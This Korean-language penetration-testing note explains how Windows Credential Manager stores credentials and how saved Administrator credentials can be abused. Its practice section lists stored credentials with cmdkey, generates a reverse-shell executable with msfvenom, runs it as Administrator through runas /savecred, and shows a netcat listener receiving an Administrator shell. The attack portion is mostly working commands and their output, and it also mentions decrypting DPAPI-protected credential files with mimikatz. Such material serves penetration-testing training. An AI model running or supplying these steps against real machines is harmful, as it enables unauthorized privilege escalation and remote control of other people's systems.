Credential Manager
Credential Manager은 Windows에서 기본으로 제공하는 자격 증명 관리 서비스입니다. 우리가 매번 어떤 사용자의 자격 증명 정보를 입력하여 수행하는 대신 그 사용자의 정보를 매니저에 등록을 해두고, 최초 1회만 패스워드를 입력한다면 다음부터는 그 사용자의 패스워드를 입력하지 않아도 저장하고 관리하던 매니저를 통해 권한 가장이 가능합니다.
매니저에서 관리하는 정보는 C:\Users\user\AppData\Roaming\Microsoft\Credentials\
하위에 저장됩니다. 위 경로에 저장된 파일은 DPAPI로 암호화가 되어있기 때문에 mimikatz와 같은 도구를 사용하여 평문 패스워드 복호화가 가능하기도 합니다.
Practice
cmdkey /list를 통해 사용할 수 있는 자격 증명 정보를 확인하면 Administrator 계정이 존재하는 것이 확인됩니다.
PS C:\Users\yeonu> cmdkey /list
cmdkey /list
...
: Domain:target=127.0.0.1
:
: Administrator
...
Administrator 계정의 권한으로 리버스 쉘 연결을 위해 msfvenom으로 리버스 쉘을 생성하고 Windows 로컬로 파일을 옮겨줍니다.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.200.132 LPORT=9999 -f exe -o Reverse.exe
Reverse.exe 파일을 C:\Windows\Temp\Reverse.exe로 옮긴 후 runas 명령을 사용해서 Administrator 계정의 패스워드를 모르는 상태에도 가장하여 리버스 쉘을 연결합니다.
runas /u:Administrator /savecred "powershell -Command \"Start-Process 'C:\Windows\Temp\Reverse.exe'\""
명령을 실행하면 Administrator 계정의 쉘이 획득된 것이 확인됩니다.
┌──(root㉿kali)-[/tmp]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 57363
Microsoft Windows [Version 10.0.26100.2161]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
\administrator
Last updated
Was this helpful?